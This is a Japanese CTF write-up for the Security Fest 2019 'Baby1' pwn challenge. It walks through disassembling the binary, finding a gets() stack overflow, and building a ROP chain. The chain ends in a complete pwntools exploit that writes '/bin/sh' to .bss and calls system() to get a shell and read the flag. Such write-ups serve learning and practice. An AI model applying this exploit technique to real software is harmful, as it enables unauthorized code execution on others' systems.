Security Fest 2019 Pwn Baby1

Baby1

When Swordfish came out, these were considered some state of the art techniques. Let's see if you have what it takes.
settings Service: nc baby-01.pwn.beer 10001
cloud_download Download: baby1.tar.gz

baby1.tar.gzを解凍するとbaby1が与えられる。

$ file baby1
baby1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=1b9a2f62696e2f736800229822a655f2c80d159a, not stripped

f:id:Yunolay:20190524185147p:plain

radare2で解析する。

r2 baby1
 -- I love gradients.
[0x004005a0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x004005a0]> afl
0x00400056    1 323          fcn.00400056
0x00400528    3 23           sym._init
0x00400550    1 6            sym.imp.puts
0x00400560    1 6            sym.imp.system
0x00400570    1 6            sym.imp.printf
0x00400580    1 6            sym.imp.gets
0x00400590    1 6            sym.imp.setvbuf
0x004005a0    1 42           entry0
0x004005d0    1 2            sym._dl_relocate_static_pie
0x004005e0    4 42   -> 37   sym.deregister_tm_clones
0x00400610    4 58   -> 55   sym.register_tm_clones
0x00400650    3 34   -> 29   entry.fini0
0x00400680    1 7            entry.init0
0x00400687    1 17           sym.banner
0x00400698    1 27           sym.win
0x004006b3    1 117          main
0x00400730    3 101  -> 92   sym.__libc_csu_init
0x004007a0    1 2            sym.__libc_csu_fini
0x004007a4    1 9            sym._fini
[0x00400698]> s main
[0x004006b3]> pdf
/ (fcn) main 117
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4005bd)
|           0x004006b3      55             push rbp
|           0x004006b4      4889e5         mov rbp, rsp
|           0x004006b7      4883ec10       sub rsp, 0x10
|           0x004006bb      488b055e1920.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5 ; [0x602020:8]=0
|           0x004006c2      b900000000     mov ecx, 0
|           0x004006c7      ba02000000     mov edx, 2
|           0x004006cc      be00000000     mov esi, 0
|           0x004006d1      4889c7         mov rdi, rax
|           0x004006d4      e8b7feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006d9      488b05301920.  mov rax, qword [obj.stdout] ; obj.__TMC_END ; [0x602010:8]=0
|           0x004006e0      b900000000     mov ecx, 0
|           0x004006e5      ba02000000     mov edx, 2
|           0x004006ea      be00000000     mov esi, 0
|           0x004006ef      4889c7         mov rdi, rax
|           0x004006f2      e899feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x004006f7      b800000000     mov eax, 0
|           0x004006fc      e886ffffff     call sym.banner
|           0x00400701      bfc4104000     mov edi, str.input:         ; 0x4010c4 ; "input: "
|           0x00400706      b800000000     mov eax, 0
|           0x0040070b      e860feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400710      488d45f0       lea rax, [var_10h]
|           0x00400714      4889c7         mov rdi, rax
|           0x00400717      b800000000     mov eax, 0
|           0x0040071c      e85ffeffff     call sym.imp.gets           ; char *gets(char *s)
|           0x00400721      b800000000     mov eax, 0
|           0x00400726      c9             leave
\           0x00400727      c3             ret

getsを使用しているのでバッファオーバーフローが可能

|           0x0040071c      e85ffeffff     call sym.imp.gets           ; char *gets(char *s)

return addressまでのoffset

input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

RSP: 0x7fffffffdd98 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
RIP: 0x400727 (<main+116>:    ret)

gdb-peda$ pattern offset (AADAA
(AADAA found at offset: 24

win functionでは引数を使用してsystem()を呼んでいる。

[0x004005a0]> s sym.win 
[0x00400698]> pdf
/ (fcn) sym.win 27
|   sym.win (int32_t arg1);
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int32_t arg1 @ rdi
|           0x00400698      55             push rbp
|           0x00400699      4889e5         mov rbp, rsp
|           0x0040069c      4883ec10       sub rsp, 0x10
|           0x004006a0      48897df8       mov qword [var_8h], rdi     ; arg1
|           0x004006a4      488b45f8       mov rax, qword [var_8h]
|           0x004006a8      4889c7         mov rdi, rax
|           0x004006ab      e8b0feffff     call sym.imp.system         ; int system(const char *string)
|           0x004006b0      90             nop
|           0x004006b1      c9             leave
\           0x004006b2      c3             ret

/bin/sh\00はgets()を使用してbssに書き込むことにした。

$ readelf -a baby1

(snip)

  [23] .bss              NOBITS           0000000000602010  00002010
       0000000000000020  0000000000000000  WA       0     0     16

(snip)

gets()とsystem()にarg1に引数を与えるため、pop rdi; ret;ガジェットを探す。

$ rp --file=baby1 --unique --rop=5 | grep pop
0x0040068e: add al, bpl ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x0040068f: add al, ch ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400606: add byte [rax], al ; pop rbp ; ret  ;  (1 found)
0x00400605: add byte [rax], r8L ; pop rbp ; ret  ;  (1 found)
0x00400667: add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x0040068a: in eax, 0xBF ; mov eax, 0xE8004007 ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400662: mov byte [0x0000000000602028], 0x00000001 ; pop rbp ; ret  ;  (1 found)
0x0040068c: mov eax, 0xE8004007 ; mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400691: mov ebx, 0x90FFFFFE ; pop rbp ; ret  ;  (1 found)
0x00400664: mov edi, 0x01002019 ; pop rbp ; ret  ;  (1 found)
0x00400695: nop  ; pop rbp ; ret  ;  (1 found)
0x00400603: nop dword [rax+rax+0x00] ; pop rbp ; ret  ;  (1 found)
0x00400645: nop dword [rax] ; pop rbp ; ret  ;  (1 found)
0x00400789: or byte [rbx+0x5D], bl ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x0040078c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x0040078e: pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400790: pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400792: pop r15 ; ret  ;  (1 found)
0x004005fb: pop rbp ; mov edi, 0x00602010 ; jmp rax ;  (2 found)
0x0040078b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x0040078f: pop rbp ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400608: pop rbp ; ret  ;  (4 found)
0x00400793: pop rdi ; ret  ;  (1 found)
0x00400791: pop rsi ; pop r15 ; ret  ;  (1 found)
0x0040078d: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400665: sbb dword [rax], esp ; add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00400793: pop rdi ; ret  ;  (1 found)

pop rdi; ret;ガジェットが見つかったので次のようなROPを組む。

# gets(bss)

---------------
pop rdi ; ret;
---------------
bss addr
---------------
plt.gets
---------------


# system(/bin/sh)

---------------
pop rdi ; ret;
---------------
bss addr
---------------
plt.system
---------------

最終的なexploit.py

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './baby1'
host ='baby-01.pwn.beer'
port = 10001

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
else:
    # local
    r = process(binary)
    libc = elf.libc

str_bin_sh = '/bin/sh\x00'

addr_plt_puts = elf.plt['puts']
addr_plt_gets = elf.plt['gets']
addr_plt_system = elf.plt['system']

bss = elf.bss()

print r.recvuntil('input: ')

'''
Gadget
rp --file=binary --unique --rop=5
0x00400793: pop rdi ; ret  ;  (1 found)
'''

payload = ''
payload += 'A' * 24

rop = ROP(elf)
rop.raw(0x00400793) # pop rdi ; ret
rop.raw(bss)
rop.raw(addr_plt_gets)
rop.raw(0x00400793) # pop rdi ; ret
rop.raw(bss)
rop.raw(addr_plt_system)
print rop.dump()
payload += rop.chain()

sendline_payload(payload)
r.sendline(str_bin_sh)
r.sendline('cat flag')
print r.recvall()

# r.interactive()

実行結果

$ python exploit.py r
[*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby1/baby1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to baby-01.pwn.beer on port 10001: Done

                                                 Rather ROP than RIP --Lars Tzu 2019

  ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██
▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █
█           █  █ █           █  █ █           █  █ █           █  █ █           █  █
█   ▄▀▀▀▄   █  █ █   █▀▀▀▄   █  █ █   █   █   █  █ █   █▀▀▀▄   █  █ █    ▄█     █  █
█   █▄▄▄█   █  █ █   █▄▄▄▀   █  █ █   ▀▄▄▄▀   █  █ █   █▄▄▄▀   █  █ █   ▀ █     █  █
█   █   █   █  █ █   █   █   █  █ █     █     █  █ █   █   █   █  █ █     █     █  █
█   ▀   ▀   █ ▄▀ █   ▀▀▀▀    █ ▄▀ █     ▀     █ ▄▀ █   ▀▀▀▀    █ ▄▀ █   ▀▀▀▀▀   █ ▄▀
█▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀

input: 
[*] Loaded cached gadgets for './baby1'
0x0000:         0x400793 pop rdi; ret
0x0008:         0x602010
0x0010:         0x400580 plt.gets
0x0018:         0x400793 pop rdi; ret
0x0020:         0x602010
0x0028:         0x400560 plt.system
[*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\x93\x07@\x00\x00\x00\x00\x00\x10 `\x00\x00\x00\x00\x00\x80\x05@\x00\x00\x00\x00\x00\x93\x07@\x00\x00\x00\x00\x00\x10 `\x00\x00\x00\x00\x00`\x05@\x00\x00\x00\x00\x00'
sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}

[*] Closed connection to baby-01.pwn.beer port 10001

FLAG : sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}

あとがき

競技時間に出来なかったので現在進行系で解いてます。